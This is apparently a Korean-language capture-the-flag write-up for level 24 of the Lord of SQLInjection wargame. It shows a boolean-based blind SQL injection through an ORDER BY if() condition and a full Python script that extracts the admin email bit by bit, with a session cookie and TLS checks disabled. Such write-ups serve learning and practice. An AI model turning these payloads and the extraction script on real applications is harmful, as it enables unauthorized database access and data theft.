los 24번입니다.
24번은 23번과 유사하지만 preg_match로 인해 sleep 함수와 benchmark함수를 사용할 수 없습니다. 따라서 23번에서 사용했던 time based SQL injection을 사용하지 못합니다. 그래서 if문을 통해 결과값을 다르게 출력하는 방식으로 하여 출력할려고 했습니다. 먼저 order=1일 때 결과입니다.
admin의 이메일은 알 수 없고 score=50, rubiya의 score가 100입니다. 그 뜻은 socre를 통해 정렬해도 id로 정렬했을 때와 같은 결과값을 출력합니다. 이때 if문을 통해 조건이 참이면 score를 기준으로 출력하고 아니면 아예 출력이 불가능하게 하기 위해 쿼리문을
?order=if(id='admin' and length(email)=n,score,1000)
으로 전달하였습니다. 1000인 이유는 order=1000이 전달될 때 아무 결과값이 출력되지 않기 때문입니다.
하지만 예상과 다르게 결과값이 나왔습니다. 하지만 다행이도 score로 배열했을 때와는 다른 결과값이기 때문에 length의 값을 변경하여 길일를 알아낼 수 있습니다. 그래서 삽질 결과
이메일의 길이가 30인것을 알아냈습니다.
그리고 비밀번호는 아래의 파이썬 코드를 이용해서 알아냈습니다.
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
headers = {'Cookie':'PHPSESSID=50b0u6mtoro9knc4n27knmtl4n'}
URL = "https://los.rubiya.kr/chall/evil_wizard_32e3d35835aa4e039348712fb75169ad.php?"
email_length = 30
bit_length = 16
email = ''
for i in range(1, email_length+1):
bit = ''
for j in range(1, bit_length+1):
payload = "order=if(id='admin' and substr(lpad(bin(ord(substr(email,{},1))),{},0),{},1)=1,score,1000)".format(i, bit_length, j)
res = requests.get(url=URL+payload, headers=headers, verify=False)
if '<td>50</td></tr><tr><td>rubiya</td>' in res.text:
# True -> bit == 1
bit += '1'
else:
# error occured -> bit == 0
bit += '0'
email += chr(int(bit, 2))
print("email (count %02d): %s (bit: %s, hex: %s)" % (i, chr(int(bit, 2)), bit, hex(int(bit, 2))))
print('\n>>> Final Email: %s' % email)
실행결과 알아낸 email은 aasup3r_secure_email@email1.com이였습니다.